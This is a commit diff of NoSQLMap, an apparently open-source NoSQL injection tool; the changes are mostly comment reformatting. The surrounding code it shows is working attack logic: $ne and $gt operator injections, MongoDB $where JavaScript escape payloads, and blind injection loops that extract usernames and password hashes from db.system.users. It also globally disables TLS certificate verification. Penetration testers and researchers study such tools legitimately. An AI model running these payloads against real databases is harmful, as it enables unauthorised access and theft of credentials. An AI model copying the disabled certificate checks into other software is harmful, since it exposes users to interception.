2
2
# NoSQLMap Copyright 2012-2017 NoSQLMap Development team
3
3
# See the file 'doc/COPYING' for copying permission
4
4
5
+
5
6
import urllib
6
7
import urllib2
7
8
import string
11
12
import time
12
13
import random
13
14
14
- #Fix for dealing with self-signed certificates. This is wrong and highly discouraged, but it's a hacking tool, so it's fixed with a hack. Get over it :-)
15
+ # Fix for dealing with self-signed certificates. This is wrong and highly discouraged, to be revisited in stable branch
15
16
16
17
if version_info >= (2 , 7 , 9 ):
17
18
import ssl
18
19
ssl ._create_default_https_context = ssl ._create_unverified_context
19
20
21
+
20
22
def getApps (webPort ,victim ,uri ,https ,verb ,requestHeaders ):
21
23
print "Web App Attacks (GET)"
22
24
print "==============="
@@ -44,7 +46,7 @@ def getApps(webPort,victim,uri,https,verb,requestHeaders):
44
46
global int24
45
47
int24 = False
46
48
47
- #Verify app is working.
49
+ # Verify app is working.
48
50
print "Checking to see if site at " + str (victim ).strip () + ":" + str (webPort ).strip () + str (uri ).strip () + " is up..."
49
51
50
52
if https == "OFF" :
@@ -83,8 +85,8 @@ def getApps(webPort,victim,uri,https,verb,requestHeaders):
83
85
injectString = randInjString (int (injectSize ))
84
86
print "Using " + injectString + " for injection testing.\n "
85
87
86
- #Build a random string and insert; if the app handles input correctly, a random string and injected code should be treated the same.
87
- #Add error handling for Non-200 HTTP response codes if random strings freaks out the app.
88
+ # Build a random string and insert; if the app handles input correctly, a random string and injected code should be treated the same.
89
+ # Add error handling for Non-200 HTTP response codes if random strings freaks out the app.
88
90
if "?" not in appURL :
89
91
print "No URI parameters provided for GET request...Check your options.\n "
90
92
raw_input ("Press enter to continue..." )
@@ -113,7 +115,7 @@ def getApps(webPort,victim,uri,https,verb,requestHeaders):
113
115
else :
114
116
print "Test 1: PHP/ExpressJS != associative array injection"
115
117
116
- #Test for errors returned by injection
118
+ # Test for errors returned by injection
117
119
req = urllib2 .Request (uriArray [1 ], None , requestHeaders )
118
120
errorCheck = errorTest (str (urllib2 .urlopen (req ).read ()),testNum )
119
121
@@ -162,7 +164,7 @@ def getApps(webPort,victim,uri,https,verb,requestHeaders):
162
164
else :
163
165
testNum += 1
164
166
165
- #Start a single record attack in case the app expects only one record back
167
+ # Start a single record attack in case the app expects only one record back
166
168
print "\n "
167
169
if verb == "ON" :
168
170
print "Testing Mongo <2.4 $where all Javascript string escape attack for one record...\n "
@@ -344,6 +346,7 @@ def getApps(webPort,victim,uri,https,verb,requestHeaders):
344
346
raw_input ("Press enter to continue..." )
345
347
return ()
346
348
349
+
347
350
def postApps (victim ,webPort ,uri ,https ,verb ,postData ,requestHeaders ):
348
351
print "Web App Attacks (POST)"
349
352
print "==============="
@@ -366,7 +369,7 @@ def postApps(victim,webPort,uri,https,verb,postData,requestHeaders):
366
369
global gtDict
367
370
testNum = 1
368
371
369
- #Verify app is working.
372
+ # Verify app is working.
370
373
print "Checking to see if site at " + str (victim ) + ":" + str (webPort ) + str (uri ) + " is up..."
371
374
372
375
if https == "OFF" :
@@ -423,8 +426,8 @@ def postApps(victim,webPort,uri,https,verb,postData,requestHeaders):
423
426
injectString = randInjString (int (injectSize ))
424
427
print "Using " + injectString + " for injection testing.\n "
425
428
426
- #Build a random string and insert; if the app handles input correctly, a random string and injected code should be treated the same.
427
- #Add error handling for Non-200 HTTP response codes if random strings freak out the app.
429
+ # Build a random string and insert; if the app handles input correctly, a random string and injected code should be treated the same.
430
+ # Add error handling for Non-200 HTTP response codes if random strings freak out the app.
428
431
postData .update ({injOpt :injectString })
429
432
if verb == "ON" :
430
433
print "Checking random injected parameter HTTP response size sending " + str (postData ) + "...\n "
@@ -444,7 +447,7 @@ def postApps(victim,webPort,uri,https,verb,postData,requestHeaders):
444
447
else :
445
448
print "Random value variance: " + str (randNormDelta ) + "\n "
446
449
447
- #Generate not equals injection
450
+ # Generate not equals injection
448
451
neDict = postData
449
452
neDict [injOpt + "[$ne]" ] = neDict [injOpt ]
450
453
del neDict [injOpt ]
@@ -467,10 +470,10 @@ def postApps(victim,webPort,uri,https,verb,postData,requestHeaders):
467
470
testNum += 1
468
471
print "\n "
469
472
470
- #Delete the extra key
473
+ # Delete the extra key
471
474
del postData [injOpt + "[$ne]" ]
472
475
473
- #generate $gt injection
476
+ # generate $gt injection
474
477
gtDict = postData
475
478
gtDict .update ({injOpt :"" })
476
479
gtDict [injOpt + "[$gt]" ] = gtDict [injOpt ]
@@ -530,7 +533,7 @@ def postApps(victim,webPort,uri,https,verb,postData,requestHeaders):
530
533
testNum += 1
531
534
print "\n "
532
535
533
- #Start a single record attack in case the app expects only one record back
536
+ # Start a single record attack in case the app expects only one record back
534
537
postData .update ({injOpt :"a'; return db.a.findOne(); var dummy='!" })
535
538
body = urllib .urlencode (postData )
536
539
req = urllib2 .Request (appURL ,body , requestHeaders )
@@ -706,6 +709,7 @@ def postApps(victim,webPort,uri,https,verb,postData,requestHeaders):
706
709
raw_input ("Press enter to continue..." )
707
710
return ()
708
711
712
+
709
713
def errorTest (errorCheck ,testNum ):
710
714
global possAddrs
711
715
global httpMethod
@@ -811,6 +815,7 @@ def checkResult(baseSize,respSize,testNum,verb,postData):
811
815
possAddrs .append (str (postData ))
812
816
return
813
817
818
+
814
819
def randInjString (size ):
815
820
print "What format should the random string take?"
816
821
print "1-Alphanumeric"
@@ -959,6 +964,7 @@ def buildUri(origUri, randValue):
959
964
960
965
return uriArray [0 ]
961
966
967
+
962
968
def getDBInfo ():
963
969
curLen = 0
964
970
nameLen = 0
@@ -1028,7 +1034,7 @@ def getDBInfo():
1028
1034
if getUserInf .lower () == "y" :
1029
1035
charCounter = 0
1030
1036
nameCounter = 0
1031
- #find the total number of users on the database
1037
+ # find the total number of users on the database
1032
1038
while gotUserCnt == False :
1033
1039
usrCntUri = uriArray [16 ].replace ("---" ,"var usrcnt = db.system.users.count(); if (usrcnt == " + str (usrCount ) + ") { return true; } var dum='a" )
1034
1040
@@ -1042,11 +1048,11 @@ def getDBInfo():
1042
1048
else :
1043
1049
usrCount += 1
1044
1050
1045
- usrChars = 0 #total number of characters in username
1046
- charCounterUsr = 0 #position in the character array-Username
1047
- rightCharsUsr = 0 #number of correct characters-Username
1048
- rightCharsHash = 0 #number of correct characters-hash
1049
- charCounterHash = 0 #position in the character array-hash
1051
+ usrChars = 0 # total number of characters in username
1052
+ charCounterUsr = 0 # position in the character array-Username
1053
+ rightCharsUsr = 0 # number of correct characters-Username
1054
+ rightCharsHash = 0 # number of correct characters-hash
1055
+ charCounterHash = 0 # position in the character array-hash
1050
1056
username = ""
1051
1057
pwdHash = ""
1052
1058
charCountUsr = False
@@ -1055,14 +1061,14 @@ def getDBInfo():
1055
1061
while retrUsers < usrCount :
1056
1062
if retrUsers == 0 :
1057
1063
while charCountUsr == False :
1058
- #different query to get the first user vs. others
1064
+ # different query to get the first user vs. others
1059
1065
usrUri = uriArray [16 ].replace ("---" ,"var usr = db.system.users.findOne(); if (usr.user.length == " + str (usrChars ) + ") { return true; } var dum='a" + "&" )
1060
1066
1061
1067
req = urllib2 .Request (usrUri , None , requestHeaders )
1062
1068
lenUri = int (len (urllib2 .urlopen (req ).read ()))
1063
1069
1064
1070
if lenUri == baseLen :
1065
- #Got the right number of characters
1071
+ # Got the right number of characters
1066
1072
charCountUsr = True
1067
1073
1068
1074
else :
@@ -1085,7 +1091,7 @@ def getDBInfo():
1085
1091
1086
1092
retrUsers += 1
1087
1093
users .append (username )
1088
- #reinitialize all variables and get ready to do it again
1094
+ # reinitialize all variables and get ready to do it again
1089
1095
#print str(retrUsers)
1090
1096
#print str(users)
1091
1097
charCountUsr = False
@@ -1110,20 +1116,20 @@ def getDBInfo():
1110
1116
1111
1117
hashes .append (pwdHash )
1112
1118
print "Got user:hash " + users [0 ] + ":" + hashes [0 ]
1113
- #reinitialize all variables and get ready to do it again
1119
+ # reinitialize all variables and get ready to do it again
1114
1120
charCounterHash = 0
1115
1121
rightCharsHash = 0
1116
1122
pwdHash = ""
1117
1123
else :
1118
1124
while charCountUsr == False :
1119
- #different query to get the first user vs. others
1125
+ # different query to get the first user vs. others
1120
1126
usrUri = uriArray [16 ].replace ("---" ,"var usr = db.system.users.findOne({user:{$nin:" + str (users ) + "}}); if (usr.user.length == " + str (usrChars ) + ") { return true; } var dum='a" + "&" )
1121
1127
1122
1128
req = urllib2 .Request (usrUri , None , requestHeaders )
1123
1129
lenUri = int (len (urllib2 .urlopen (req ).read ()))
1124
1130
1125
1131
if lenUri == baseLen :
1126
- #Got the right number of characters
1132
+ # Got the right number of characters
1127
1133
charCountUsr = True
1128
1134
1129
1135
else :
@@ -1145,7 +1151,7 @@ def getDBInfo():
1145
1151
charCounterUsr += 1
1146
1152
1147
1153
retrUsers += 1
1148
- #reinitialize all variables and get ready to do it again
1154
+ # reinitialize all variables and get ready to do it again
1149
1155
1150
1156
charCountUsr = False
1151
1157
rightCharsUsr = 0
@@ -1168,7 +1174,7 @@ def getDBInfo():
1168
1174
users .append (username )
1169
1175
hashes .append (pwdHash )
1170
1176
print "Got user:hash " + users [retrUsers - 1 ] + ":" + hashes [retrUsers - 1 ]
1171
- #reinitialize all variables and get ready to do it again
1177
+ # reinitialize all variables and get ready to do it again
1172
1178
username = ""
1173
1179
charCounterHash = 0
1174
1180
rightCharsHash = 0
0 commit comments